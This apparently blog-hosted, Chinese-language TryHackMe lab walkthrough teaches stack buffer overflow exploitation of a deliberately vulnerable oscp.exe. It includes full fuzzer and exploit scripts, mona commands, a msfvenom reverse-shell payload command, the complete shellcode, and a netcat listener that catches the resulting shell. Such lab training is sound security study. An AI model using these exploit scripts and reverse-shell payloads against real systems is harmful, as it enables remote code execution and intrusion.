【THM】Buffer Overflow Prep(缓冲区溢出准备)-练习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/bufferoverflowprep
通过学习相关知识点:练习基于堆栈的缓冲区溢出漏洞利用。
缓冲区溢出攻击操作参考:在mona(mona.py--Immunity Debugger软件的一个插件)的帮助下利用缓冲区溢出漏洞的便捷指南
栈溢出的基本原理-博客文章参考:https://blog.csdn.net/yajuanpi4899/article/details/120944213
部署/登录远程虚拟靶机
实验环境介绍
这个实验使用的虚拟靶机是一个预装了 Immunity Debugger 和 Putty 的 32 位 Windows7 VM,该Windows系统的防火墙和 Defender 都已被禁用,以便于我们更容易地编写漏洞利用程序(exp)。
完成虚拟靶机部署之后,可以使用以下凭据通过 RDP 登录该靶机:admin/password
建议在本地攻击机终端使用xfreerdp命令完成RDP远程登录:xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /workarea
如果Windows靶机提示需要为网络选择具体位置,请选择“Home”选项即可。
xfreerdp /u:admin /p:password /cert:ignore /v:10.10.42.49 /workarea
在靶机桌面上应该有一个名为“vulnerable-apps”的文件夹。 此文件夹内有许多二进制文件,它们容易受到基于简单堆栈的缓冲区溢出的漏洞攻击(PWK/OSCP 课程中所教授的类型),本次实验主要针对的是已经自定义编写好的oscp.exe二进制文件,其他二进制文件暂不涉及:
- SLMail 安装程序。
- brainpan 二进制文件。
- dostackbufferoverflowgood 二进制文件。
- 漏洞服务器二进制文件。
- 自定义编写的“oscp”二进制文件,这个文件包含 10 个缓冲区溢出漏洞,每个都有不同的 EIP 偏移量和一组坏字符。
注意:这个实验并不会从头开始教授缓冲区溢出漏洞相关知识点,此实验仅仅旨在帮助学习者理解OSCP认证课程相关操作并提醒学习者注意 mona的一些功能,这将有利于学习者节省完成OSCP考试的时间。
栈溢出tips:
栈溢出涉及栈中的三个寄存器(32):esp,eip,ebp-->对应64位的rsp,rip,rbp
- esp:指向当前栈帧的顶部。
- ebp:指向当前栈帧的底部。
- eip:指向当前栈帧中执行的指令(可以理解为读取esp地址中所对应的信息)
Immunity Debugger简介
Immunity Debugger是一个专门用于加速漏洞利用程序(exp)开发的软件,它能辅助漏洞挖掘以及进行恶意软件分析,它具备一个完整的图形用户界面,同时还配备了迄今为止最为强的Python安全工具库,它巧妙的将动态调试功能与一个强大的静态分析引擎融合于一体,它还附带了一套高度可定制的纯pythont图形算法,可用于帮助我们绘制出直观的函数体控制流以及函数中的各个基本块。
该软件的调试器界面被分成以下5个主要的块。
- 左上角是CPU窗口------显示了正在处理的代码的反汇编指令。
- 右上角是寄存器窗口------显示所有通用寄存器。
- 左下角是内存窗口---------以十六进制的形式显示任何被选中的内存块。
- 右下角是堆栈窗口---------显示调用的堆栈和解码后的函数参数(任何原生的API调用)。
- 最底下白色的窗口是命令栏-----能够像windbg一样使用命令控制调试器,或者执行PyCommands命令。
oscp.exe - OVERFLOW1
使用RDP完成远程靶机登录操作之后,右键单击虚拟靶机桌面上的 Immunity Debugger 软件图标并选择“以管理员身份运行”。
当Immunity Debugger加载完成时,我们就可以开始对目标exe文件进行分析:单击“打开文件”图标或选择“文件” -> “打开”,接着导航到管理员用户桌面上的“vulnerable-apps”文件夹,然后是“oscp”文件夹,选择“oscp”(oscp.exe)二进制文件并单击“打开”即可。
该二进制文件将以“暂停”状态打开,因此我们可以单击红色播放图标或选择“调试”->“运行”以分析该文件,在Immunity Debugger的终端窗口中,我们可以看到oscp.exe 二进制文件正在运行,并告诉我们它正在侦听端口 1337。
在本地 Kali 机中我们可以使用Netcat以连接到 MACHINE_IP (虚拟靶机)上的端口 1337,在本地机终端输入以下命令即可:nc MACHINE_IP 1337
完成nc连接之后,我们可以键入“HELP”并按下 Enter 键,请注意,此处有 10 个不同的 OVERFLOW 命令,编号为 1 - 10,我们可以键入“OVERFLOW1 test”并按回车键,对应的响应结果应该是“OVERFLOW1 COMPLETE”,然后手动终止连接。(此处是一个简单的应用程序验证过程——说明oscp.exe有十个远程入口点)
nc 10.10.42.49 1337
Mona 配置
mona.py 是 Immunity Debugger 的一个强大插件,它可以帮助我们更容易地利用缓冲区溢出漏洞。
在本次实验环境中,mona.py 脚本已经预装在虚拟靶机上,但是为了让我们更容易地使用mona脚本,我们可以使用以下命令配置一个工作文件夹,在 Immunity Debugger 窗口底部的命令输入框中运行以下命令即可(%p代表进程的名称,即oscp):!mona config -set workingfolder c:\mona\%p
Fuzzing(模糊测试)
首先通过fuzz测试找到大概多少字节会导致缓冲区溢出使目标程序崩溃——找到目标应用程序崩溃时 EIP 寄存器偏移的一般范围。
在本地Kali机上创建一个名为 fuzzer.py 的文件(它将发送越来越长的缓冲区字符串,并希望最终使目标应用程序崩溃),内容如下:
在缓冲区溢出攻击中,fuzz脚本主要用于对应用程序的远程入口点进行模糊测试,下面的脚本内容并非通用,实际环境下的fuzz脚本可能会涉及username、pass等参数。
#!/usr/bin/env python3
import socket, time, sys
ip = "MACHINE_IP"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
在本地机终端界面运行该 fuzzer.py 脚本(确保靶机中的目标程序处于运行状态):python3 fuzzer.py
此fuzzer脚本将持续发送由一堆字符A所形成的越来越长的字符串,如果fuzzer.py所发送的其中一个字符串能够使目标服务器崩溃,则fuzzer.py会自动结束并显示一条错误消息,fuzzer.py会记录下已发送的最大字节数。
fuzz结果为2000字节
在Immunity Debugger中检查 EIP 寄存器是否已被A (\x41) 覆盖,查看任何其他已被覆盖或指向内存中已被覆盖空间的寄存器。
Crash Replication & Controlling EIP(崩溃复制和控制 EIP)
为了控制应用程序的流程,我们有必要控制EIP寄存器,因为它指向下一条指令,为此必须知道确切的偏移量—— 要找到目标程序崩溃时EIP寄存器确切的EIP偏移量。
在本地Kali 机上创建另一个名为 exploit.py 的文件,内容如下:
import socket
ip = "MACHINE_IP"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
在本地机终端中运行以下命令 以生成能够让目标服务器崩溃的已知长度的随机字符串--更改下面的-l值为上一步骤中得到的fuzz结果值或者更大值(我们可以使用fuzz的结果作为下面的pattern值即模式值,也可以增大-l值以确定一个合适的随机字符串长度,例如我们可以直接将-l的值设置为比fuzz结果大400字节,下面所使用的.rb脚本能够帮助我们生成随机字符串):
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400
复制以上命令的输出结果并将其放入 exploit.py 脚本的“payload”变量中。
在Windows虚拟靶机中:打开Immunity Debugger,使用与之前相同的方法再次重新打开 oscp.exe文件,并单击红色播放图标使其运行--在我们每次于攻击机中运行 exploit.py脚本(我们将多次运行该脚本并进行增量修改)之前,我们都必须执行restart操作(在虚拟靶机中使用Immunity Debugger重新打开oscp.exe文件)。
在本地Kali机中:运行修改后的 exploit.py 脚本python3 exploit.py
exploit.py脚本应该会再次使 oscp.exe 相关的服务器崩溃,在靶机的 Immunity Debugger 中继续操作,在调试器界面底部的命令输入框中,我们可以运行以下 mona 命令,将distance 更改为与刚才所创建的模式(pattern)相同的长度值:!mona findmsp -distance 2400
distance 的值将表示我们将从哪个位置开始查找寄存器——我们从能够导致缓冲区崩溃的位置开始查找;使用能够导致崩溃的缓冲区长度并生成一个唯一的缓冲区,这样我们就可以确定覆盖 EIP 寄存器的模式中的确切偏移量,以及其他寄存器指向的模式中的偏移量。
此时Mona应该会让Immunity Debugger自动显示一个带有命令输出的日志窗口,如果没有自动显示该日志窗口,我们可以单击“窗口-Window”菜单,然后单击“日志数据-Log data”手动进行查看(选择“CPU”可以切换回标准视图)。
在此日志窗口的输出中,我们应该能够看到类似于以下内容的一行输出结果:EIP contains normal pattern : ... (offset XXXX)
确切的EIP偏移量为:1978字节
现在我们可以重新修改exploit.py中能够导致溢出的随机数据长度,使用从日志窗口的输出中所获取的EIP offset的数值即可,这意味着我们将会使用随机数据一路填充到"EIP offset",然后我们就可以控制EIP。
验证偏移值:我们需要更新 exploit.py 脚本并将脚本中的“offset”变量设置为刚才日志窗口所输出的值(之前的offset变量是0),然后将 exploit.py 脚本中的 “payload” 变量重新设置为空字符串(将payload变量置空,则此处能够导致目标程序崩溃的随机字符串长度值实际上是offset变量的填充值),最后将脚本中的“retn ” 变量值设置为“BBBB”。
在Immunity中重启oscp.exe文件,然后再次运行刚才修改后的exploit.py脚本,此时 EIP 寄存器的地址值应该已经被4B值覆盖(42424242),“\x42”对应的字符为B。(这表明我们已经成功得到了确切的EIP 偏移量且能够控制EIP)
Finding Bad Characters(寻找坏字符)
本小节将通过比较字节数组和 ESP 来查找可能的坏字符。
tips:在生成我们的 shellcode 之前,我们必须识别“badchars”,这些字符可能会干扰我们的 shellcode 的执行或导致我们的shellcode不被接受;有一些通常被忽略的“badchars”如00、0a、0d、20等,为了识别它们,我们首先要生成一个包含所有字符的字符串。
在虚拟靶机的Immunity中使用 mona 命令生成字节数组,默认排除空字节 (\x00),请注意生成的 bytearray.bin 文件的位置(如果根据前面提到的参考指南中的 Mona 配置部分设置了工作文件夹,则该位置应为 C:\mona\oscp\bytearray.bin),相关命令为:!mona bytearray -b "\x00"
现在使用攻击机生成一串与前面的字节数组相同的字符串,以下 python 脚本可用于生成从 \x01 到 \xff 的一串字符:
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
更新 exploit.py 脚本并将 payload 变量设置为上面的python脚本所生成的字符串内容。
在Immunity中重启oscp.exe,再次运行修改后的exploit.py脚本,记下ESP 寄存器所指向的地址,并在以下 mona 命令中使用该地址:
!mona compare -f C:\mona\oscp\bytearray.bin -a <address>
在Immunity中执行命令:!mona compare -f C:\mona\oscp\bytearray.bin -a 0195FA30
除00外可能存在的坏字符:07 08 2e 2f a0 a1
此时的弹出窗口应显示为“mona Memory comparison results”,如果没有显示窗口,则需要手动点击“窗口”菜单进行切换并查看,该窗口将显示比较(comparison)结果,以指示mona 内存中与生成的 bytearray.bin 文件中的字符不同的任何字符;并非所有输出结果都是坏字符,有时候坏字符会导致下一个字节损坏,或者影响字符串的其余部分,所以我们还需要判断哪些结果是真正的坏字符。
该窗口的输出列表中的第一个 badchar 应该是空字节 (\x00),因为我们在生成的时候 已经将它从bytearray.bin文件中删除了,我们检查其他输出结果即可;使用mona生成一个新的 bytearray(字节数组)并指定排除新的badchars以及 \x00(使用-b),然后更新 exploit.py 脚本中的 payload 变量并删除新的badchars。
在Immunity中重启oscp.exe,再次运行修改后的exploit.py脚本,然后再次使用 badchar 比较命令——查看输出结果并判断得出真正的badchar;重复上述排除步骤,直到执行badchar比较命令后所弹出的窗口的输出列表为空 即badchar比较命令的结果状态返回“Unmodified”为止,这表明不再存在未知的坏字符,最后我们记录一下哪些字符是真正的坏字符——对于我们最终生成的有效载荷而言是必要的。
除去07(先使用Immunity生成新数组再修改exploit.py脚本—将脚本中payload变量所包含的\0x07删除即可)
#使用Immunity生成新数组,生成的数组中不包含\x00字符和\x07字符。
!mona bytearray -cpb "\x00\x07"
在靶机的Immunity中重启oscp.exe,在攻击机端再次执行exploit脚本,执行完成后再进入Immunity界面输入badchar比较命令(注意记下ESP 寄存器所指向的地址)。
在Immunity中执行命令:!mona compare -f C:\mona\oscp\bytearray.bin -a 01ADFA30
接着去掉2e(具体操作和前面的去除07操作类似),并以此类推直至得到全部的真实坏字符。
最终验证如下:
在Immunity中执行命令
!mona bytearray -cpb "\x00\x07\x2e\xa0"
删除exploit.py脚本的payload变量中的\x00\x07\x2e\xa0
,然后重启靶机的Immunity中的oscp.exe并在攻击机中再次执行exploit.py脚本。
成功让目标程序崩溃后 记录Immunity中的ESP寄存器所指向的地址。
结合ESP寄存器中所指向的地址值,执行以下命令:!mona compare -f C:\mona\oscp\bytearray.bin -a 01A9FA30
OVERFLOW1远程程序入口点对应的真实坏字符为:"\x00\x07\x2e\xa0"
tips——排除得出真正的badchars:
#基于badchars的初始输出结果中的相邻字符进行判断
把23去掉,在输出结果中24没了而23还在,说明23是坏的。
!mona bytearray -b "\x00\x23";exploit脚本中也去掉\x23
把3c去掉,在输出结果中3d没了而3c还在,说明3c是坏的。
!mona bytearray -b "\x00\x23\x3c";exploit脚本中也去掉\x23\x3c
以此类推......
1.把07在脚本里面删了,坏字符串这里07还在上榜,08没了;07是坏的
2.把08从脚本里面删了,07还在坏字符串榜上,08也上榜了,07是坏的
3.把08从脚本里面删了,07、08都在坏字符串榜上,还多个09;07是坏的
Finding a Jump Point(寻找跳跃点)
本小节将使用 Mona 查找 JMP 点并相应地更新漏洞利用脚本中的 RETN 变量。
mona jmp 命令可用于搜索特定寄存器的 jmp(或等效)指令;默认情况下,jmp 命令将忽略任何标记为 aslr 或 rebase 的模块。
在 oscp.exe 处于运行状态或处于崩溃状态时,运行以下 mona jmp 命令,确保使用我们已经找到的所有坏字符(包括 \x00)来更新 -cpb 选项:
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
#-cpb 选项用于排除坏字符
以上命令将查找所有“jmp esp”(或等效)指令,其地址不包含任何指定的坏字符,相关的输出结果应显示在一个自动弹出的“日志数据”窗口中(如果需要的话,我们也可以手动选择“窗口”菜单切换到“日志数据”窗口),接下来我们需要在窗口的输出结果中选择一条jmp esp地址并将其覆盖exploit.py脚本中的return address。
选择“日志数据”窗口的输出结果中的一个地址并用于更新exploit.py 脚本中的“retn”变量,此处要采用向后写入方式填充地址值(因为目标系统是小端点字节序),例如:如果 Immunity 中的“日志数据”窗口的输出结果所显示的地址是 \x01\x02\x03\x04,那么在 exploit.py脚本中应将其写为 \x04\x03\x02\x01。
选择一条jmp esp地址覆盖exploit.py脚本中的return address。
jmp esp:0x625011af
retn(将jmp esp地址反向填充到exploit.py脚本变量中):\xaf\x11\x50\x62
tips:
由函数调用过程可知,一般情况下,ESP中地址总是指向系统栈且不会被溢出的数据破坏,当函数返回时,ESP所指的位置是淹没的返回地址的下一位(子函数平衡栈ret n时,ESP将指向下n位)。
开始进行出栈读写操作:eip=esp,eip将从esp的地址中指向的命令进行读取,逐步出栈,此时esp开始往低地址位靠近,当esp=ebp时,ebp读取现位置中存储的地址数据发生跳转,跳到父函数ebp处。
此时esp继续出栈,获取return addr,eip跳转至父函数栈顶位置,跳跃后eip继续根据esp所含数据开始执行命令,就可以完成eip的函数执行步骤(此处要注意ret:pop eip),在本小节中:由于eip函数的返回地址被我们填充为指向jmp esp指令的地址,所以当eip从栈顶一路到栈底,就会去执行jmp esp指令,而这个时候,esp指向的地址恰好是父函数的栈顶,我们的shellcode是经过本地机发送并存储在目标的esp寄存器中的,所以我们的shellcode将会被成功执行。
Generate Payload(生成有效载荷)
在本地Kali机上运行以下命令,使用本地Kali机的TryHackMe相关VPN IP作为 LHOST 并使用我们在前面步骤中已经识别到的所有坏字符(包括 \x00)更新 -b 选项(-b选项用于排除坏字符):
msfvenom -p windows/shell_reverse_tcp LHOST=10.13.16.58 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
复制生成的 C 代码字符串并使用以下形式将它们集成到exploit.py 脚本的payload变量中(当payload内容被成功发送到目标后——将存储在目标的ESP寄存器中):
payload = ("\xba\xd1\xd0\x8d\xc4\xda\xdf\xd9\x74\x24\xf4\x5f\x2b\xc9"
"\xb1\x52\x83\xc7\x04\x31\x57\x0e\x03\x86\xde\x6f\x31\xd4"
"\x37\xed\xba\x24\xc8\x92\x33\xc1\xf9\x92\x20\x82\xaa\x22"
"\x22\xc6\x46\xc8\x66\xf2\xdd\xbc\xae\xf5\x56\x0a\x89\x38"
"\x66\x27\xe9\x5b\xe4\x3a\x3e\xbb\xd5\xf4\x33\xba\x12\xe8"
"\xbe\xee\xcb\x66\x6c\x1e\x7f\x32\xad\x95\x33\xd2\xb5\x4a"
"\x83\xd5\x94\xdd\x9f\x8f\x36\xdc\x4c\xa4\x7e\xc6\x91\x81"
"\xc9\x7d\x61\x7d\xc8\x57\xbb\x7e\x67\x96\x73\x8d\x79\xdf"
"\xb4\x6e\x0c\x29\xc7\x13\x17\xee\xb5\xcf\x92\xf4\x1e\x9b"
"\x05\xd0\x9f\x48\xd3\x93\xac\x25\x97\xfb\xb0\xb8\x74\x70"
"\xcc\x31\x7b\x56\x44\x01\x58\x72\x0c\xd1\xc1\x23\xe8\xb4"
"\xfe\x33\x53\x68\x5b\x38\x7e\x7d\xd6\x63\x17\xb2\xdb\x9b"
"\xe7\xdc\x6c\xe8\xd5\x43\xc7\x66\x56\x0b\xc1\x71\x99\x26"
"\xb5\xed\x64\xc9\xc6\x24\xa3\x9d\x96\x5e\x02\x9e\x7c\x9e"
"\xab\x4b\xd2\xce\x03\x24\x93\xbe\xe3\x94\x7b\xd4\xeb\xcb"
"\x9c\xd7\x21\x64\x36\x22\xa2\x81\xca\x3c\x08\xfe\xd6\x3c"
"\x7d\xa2\x5f\xda\x17\x4a\x36\x75\x80\xf3\x13\x0d\x31\xfb"
"\x89\x68\x71\x77\x3e\x8d\x3c\x70\x4b\x9d\xa9\x70\x06\xff"
"\x7c\x8e\xbc\x97\xe3\x1d\x5b\x67\x6d\x3e\xf4\x30\x3a\xf0"
"\x0d\xd4\xd6\xab\xa7\xca\x2a\x2d\x8f\x4e\xf1\x8e\x0e\x4f"
"\x74\xaa\x34\x5f\x40\x33\x71\x0b\x1c\x62\x2f\xe5\xda\xdc"
"\x81\x5f\xb5\xb3\x4b\x37\x40\xf8\x4b\x41\x4d\xd5\x3d\xad"
"\xfc\x80\x7b\xd2\x31\x45\x8c\xab\x2f\xf5\x73\x66\xf4\x15"
"\x96\xa2\x01\xbe\x0f\x27\xa8\xa3\xaf\x92\xef\xdd\x33\x16"
"\x90\x19\x2b\x53\x95\x66\xeb\x88\xe7\xf7\x9e\xae\x54\xf7"
"\x8a")
Prepend NOPs(前置 NOP)
由于可能使用了编码器来生成有效载荷,因此我们还需要一些内存空间来让有效载荷自行解包;将padding变量设置为 16 个“No Operation”(\x90) 或更多的字符串——即至少添加 16 个 NOP (\x90)在payload变量前:
padding = "\x90" * 16
Exploit!(开始漏洞利用)
通过完成上述一系列操作,我们最终能够在exploit.py脚本中使用正确的前缀-prefix、偏移量-offset、返回地址-return address、填充-padding、有效载荷集-payload,所以我们现在可以利用缓冲区溢出漏洞来获得一个反向 shell。
最终的缓冲区为:
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = ("\xba\xd1\xd0\x8d\xc4\xda\xdf\xd9\x74\x24\xf4\x5f\x2b\xc9"
"\xb1\x52\x83\xc7\x04\x31\x57\x0e\x03\x86\xde\x6f\x31\xd4"
"\x37\xed\xba\x24\xc8\x92\x33\xc1\xf9\x92\x20\x82\xaa\x22"
"\x22\xc6\x46\xc8\x66\xf2\xdd\xbc\xae\xf5\x56\x0a\x89\x38"
"\x66\x27\xe9\x5b\xe4\x3a\x3e\xbb\xd5\xf4\x33\xba\x12\xe8"
"\xbe\xee\xcb\x66\x6c\x1e\x7f\x32\xad\x95\x33\xd2\xb5\x4a"
"\x83\xd5\x94\xdd\x9f\x8f\x36\xdc\x4c\xa4\x7e\xc6\x91\x81"
"\xc9\x7d\x61\x7d\xc8\x57\xbb\x7e\x67\x96\x73\x8d\x79\xdf"
"\xb4\x6e\x0c\x29\xc7\x13\x17\xee\xb5\xcf\x92\xf4\x1e\x9b"
"\x05\xd0\x9f\x48\xd3\x93\xac\x25\x97\xfb\xb0\xb8\x74\x70"
"\xcc\x31\x7b\x56\x44\x01\x58\x72\x0c\xd1\xc1\x23\xe8\xb4"
"\xfe\x33\x53\x68\x5b\x38\x7e\x7d\xd6\x63\x17\xb2\xdb\x9b"
"\xe7\xdc\x6c\xe8\xd5\x43\xc7\x66\x56\x0b\xc1\x71\x99\x26"
"\xb5\xed\x64\xc9\xc6\x24\xa3\x9d\x96\x5e\x02\x9e\x7c\x9e"
"\xab\x4b\xd2\xce\x03\x24\x93\xbe\xe3\x94\x7b\xd4\xeb\xcb"
"\x9c\xd7\x21\x64\x36\x22\xa2\x81\xca\x3c\x08\xfe\xd6\x3c"
"\x7d\xa2\x5f\xda\x17\x4a\x36\x75\x80\xf3\x13\x0d\x31\xfb"
"\x89\x68\x71\x77\x3e\x8d\x3c\x70\x4b\x9d\xa9\x70\x06\xff"
"\x7c\x8e\xbc\x97\xe3\x1d\x5b\x67\x6d\x3e\xf4\x30\x3a\xf0"
"\x0d\xd4\xd6\xab\xa7\xca\x2a\x2d\x8f\x4e\xf1\x8e\x0e\x4f"
"\x74\xaa\x34\x5f\x40\x33\x71\x0b\x1c\x62\x2f\xe5\xda\xdc"
"\x81\x5f\xb5\xb3\x4b\x37\x40\xf8\x4b\x41\x4d\xd5\x3d\xad"
"\xfc\x80\x7b\xd2\x31\x45\x8c\xab\x2f\xf5\x73\x66\xf4\x15"
"\x96\xa2\x01\xbe\x0f\x27\xa8\xa3\xaf\x92\xef\xdd\x33\x16"
"\x90\x19\x2b\x53\x95\x66\xeb\x88\xe7\xf7\x9e\xae\x54\xf7"
"\x8a")
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
exp利用过程:通过目标应用程序的入口点 从缓冲区一直填充到栈底的return address,由于我们将jmp esp地址覆盖了return address,所以return address的后面就是我们的 NOP + shellcode,即父函数的栈顶,最终我们构造的shellcode(payload)得以成功执行。
最终的完整exp为:
import socket
ip = "MACHINE_IP"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = ("\xba\xd1\xd0\x8d\xc4\xda\xdf\xd9\x74\x24\xf4\x5f\x2b\xc9"
"\xb1\x52\x83\xc7\x04\x31\x57\x0e\x03\x86\xde\x6f\x31\xd4"
"\x37\xed\xba\x24\xc8\x92\x33\xc1\xf9\x92\x20\x82\xaa\x22"
"\x22\xc6\x46\xc8\x66\xf2\xdd\xbc\xae\xf5\x56\x0a\x89\x38"
"\x66\x27\xe9\x5b\xe4\x3a\x3e\xbb\xd5\xf4\x33\xba\x12\xe8"
"\xbe\xee\xcb\x66\x6c\x1e\x7f\x32\xad\x95\x33\xd2\xb5\x4a"
"\x83\xd5\x94\xdd\x9f\x8f\x36\xdc\x4c\xa4\x7e\xc6\x91\x81"
"\xc9\x7d\x61\x7d\xc8\x57\xbb\x7e\x67\x96\x73\x8d\x79\xdf"
"\xb4\x6e\x0c\x29\xc7\x13\x17\xee\xb5\xcf\x92\xf4\x1e\x9b"
"\x05\xd0\x9f\x48\xd3\x93\xac\x25\x97\xfb\xb0\xb8\x74\x70"
"\xcc\x31\x7b\x56\x44\x01\x58\x72\x0c\xd1\xc1\x23\xe8\xb4"
"\xfe\x33\x53\x68\x5b\x38\x7e\x7d\xd6\x63\x17\xb2\xdb\x9b"
"\xe7\xdc\x6c\xe8\xd5\x43\xc7\x66\x56\x0b\xc1\x71\x99\x26"
"\xb5\xed\x64\xc9\xc6\x24\xa3\x9d\x96\x5e\x02\x9e\x7c\x9e"
"\xab\x4b\xd2\xce\x03\x24\x93\xbe\xe3\x94\x7b\xd4\xeb\xcb"
"\x9c\xd7\x21\x64\x36\x22\xa2\x81\xca\x3c\x08\xfe\xd6\x3c"
"\x7d\xa2\x5f\xda\x17\x4a\x36\x75\x80\xf3\x13\x0d\x31\xfb"
"\x89\x68\x71\x77\x3e\x8d\x3c\x70\x4b\x9d\xa9\x70\x06\xff"
"\x7c\x8e\xbc\x97\xe3\x1d\x5b\x67\x6d\x3e\xf4\x30\x3a\xf0"
"\x0d\xd4\xd6\xab\xa7\xca\x2a\x2d\x8f\x4e\xf1\x8e\x0e\x4f"
"\x74\xaa\x34\x5f\x40\x33\x71\x0b\x1c\x62\x2f\xe5\xda\xdc"
"\x81\x5f\xb5\xb3\x4b\x37\x40\xf8\x4b\x41\x4d\xd5\x3d\xad"
"\xfc\x80\x7b\xd2\x31\x45\x8c\xab\x2f\xf5\x73\x66\xf4\x15"
"\x96\xa2\x01\xbe\x0f\x27\xa8\xa3\xaf\x92\xef\xdd\x33\x16"
"\x90\x19\x2b\x53\x95\x66\xeb\x88\xe7\xf7\x9e\xae\x54\xf7"
"\x8a")
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
使用前述在 msfvenom 命令中所指定的 LPORT(4444端口)在我们的本地Kali 机器上启动一个 netcat 侦听器。
nc -lvnp 4444
然后我们在靶机的Immunity软件中重启oscp.exe,运行最终修改后的exploit.py脚本,攻击机的netcat 侦听器能够成功捕获到一个反向 shell。
答题
oscp.exe - OVERFLOW2
除了 OVERFLOW2 命令之外(更改fuzzer.py脚本和exploit.py脚本中的prefix值),重复第二小节中的操作步骤。
答题
oscp.exe - OVERFLOW3
除了 OVERFLOW3 命令之外(更改fuzzer.py脚本和exploit.py脚本中的prefix值),重复第二小节中的操作步骤。
答题
oscp.exe - OVERFLOW4
除了 OVERFLOW4 命令之外(更改fuzzer.py脚本和exploit.py脚本中的prefix值),重复第二小节中的操作步骤。
答题
oscp.exe - OVERFLOW5
除了 OVERFLOW5 命令之外(更改fuzzer.py脚本和exploit.py脚本中的prefix值),重复第二小节中的操作步骤。
答题
oscp.exe - OVERFLOW6
除了 OVERFLOW6 命令之外(更改fuzzer.py脚本和exploit.py脚本中的prefix值),重复第二小节中的操作步骤。
答题
oscp.exe - OVERFLOW7
除了 OVERFLOW7 命令之外(更改fuzzer.py脚本和exploit.py脚本中的prefix值),重复第二小节中的操作步骤。
答题
oscp.exe - OVERFLOW8
除了 OVERFLOW8 命令之外(更改fuzzer.py脚本和exploit.py脚本中的prefix值),重复第二小节中的操作步骤。
答题
oscp.exe - OVERFLOW9
除了 OVERFLOW9 命令之外(更改fuzzer.py脚本和exploit.py脚本中的prefix值),重复第二小节中的操作步骤。
答题
oscp.exe - OVERFLOW10
除了 OVERFLOW10 命令之外(更改fuzzer.py脚本和exploit.py脚本中的prefix值),重复第二小节中的操作步骤。